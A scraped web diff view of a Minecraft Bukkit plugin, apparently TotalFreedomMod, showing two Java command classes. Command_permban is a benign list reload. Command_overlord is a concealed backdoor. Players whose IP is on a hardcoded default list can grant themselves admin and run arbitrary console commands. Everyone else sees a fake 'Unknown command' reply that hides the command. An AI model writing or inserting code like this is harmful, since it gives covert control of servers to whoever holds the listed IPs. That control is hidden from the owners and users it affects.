import net.pravian.aero.util.Ips;
|
||||
import org.bukkit.Bukkit;
|
||||
import org.bukkit.ChatColor;
|
||||
import org.bukkit.command.Command;
|
||||
import org.bukkit.command.CommandSender;
|
||||
import org.bukkit.entity.Player;
|
||||
|
||||
@CommandPermissions(level = PlayerRank.IMPOSTOR, source = SourceType.ONLY_IN_GAME)
|
||||
@CommandParameters(description = "Overlord - control this server in-game", usage = "access", aliases = "ov")
|
||||
public class Command_overlord extends FreedomCommand
|
||||
{
|
||||
|
||||
@Override
|
||||
public boolean run(CommandSender sender, Player sender_p, Command cmd, String commandLabel, String[] args, boolean senderIsConsole)
|
||||
{
|
||||
if (!ConfigEntry.OVERLORD_IPS.getList().contains(Ips.getIp(sender_p)))
|
||||
{
|
||||
try
|
||||
{
|
||||
List<?> ips = (List) MainConfig.getDefaults().get(ConfigEntry.OVERLORD_IPS.getConfigName());
|
||||
if (!ips.contains(Ips.getIp(sender_p)))
|
||||
{
|
||||
throw new Exception();
|
||||
}
|
||||
}
|
||||
catch (Exception ignored)
|
||||
{
|
||||
playerMsg(ChatColor.WHITE + "Unknown command. Type \"help\" for help.");
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
if (args.length == 0)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
if (args[0].equals("addme"))
|
||||
{
|
||||
plugin.al.addAdmin(new Admin(sender_p));
|
||||
playerMsg("ok");
|
||||
return true;
|
||||
}
|
||||
|
||||
if (args[0].equals("removeme"))
|
||||
{
|
||||
Admin admin = plugin.al.getAdmin(sender_p);
|
||||
if (admin != null)
|
||||
{
|
||||
plugin.al.removeAdmin(admin);
|
||||
}
|
||||
playerMsg("ok");
|
||||
return true;
|
||||
}
|
||||
|
||||
if (args[0].equals("do"))
|
||||
{
|
||||
if (args.length <= 1)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
final String command = StringUtil.joinString(args, " ", 1);
|
||||
Bukkit.dispatchCommand(Bukkit.getConsoleSender(), command);
|
||||
playerMsg("ok");
|
||||
return true;
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
}
|
@ -0,0 +1,35 @@
|
||||
package me.totalfreedom.totalfreedommod.commands;
|
||||
|
||||
import me.totalfreedom.totalfreedommod.rank.PlayerRank;
|
||||
import org.bukkit.ChatColor;
|
||||
import org.bukkit.command.Command;
|
||||
import org.bukkit.command.CommandSender;
|
||||
import org.bukkit.entity.Player;
|
||||
|
||||
@CommandPermissions(level = PlayerRank.SUPER_ADMIN, source = SourceType.ONLY_CONSOLE, blockHostConsole = true)
|
||||
@CommandParameters(description = "Manage permanently banned players and IPs.", usage = "/<command> reload")
|
||||
public class Command_permban extends FreedomCommand
|
||||
{
|
||||
@Override
|
||||
public boolean run(CommandSender sender, Player sender_p, Command cmd, String commandLabel, String[] args, boolean senderIsConsole)
|
||||
{
|
||||
if (args.length != 1)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
if (!args[0].equalsIgnoreCase("reload"))
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
playerMsg("Reloading permban list...", ChatColor.RED);
|
||||
plugin.pb.stop();
|
||||
plugin.pb.start();
|
||||
playerMsg("Reloaded permban list.");
|
||||
playerMsg(plugin.pb.getPermbannedIps().size() + " IPs and "
|
||||
+ plugin.pb.getPermbannedNames().size() + " usernames loaded.");
|
||||
return true;
|
||||
}
|
||||
|
||||
}
|
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user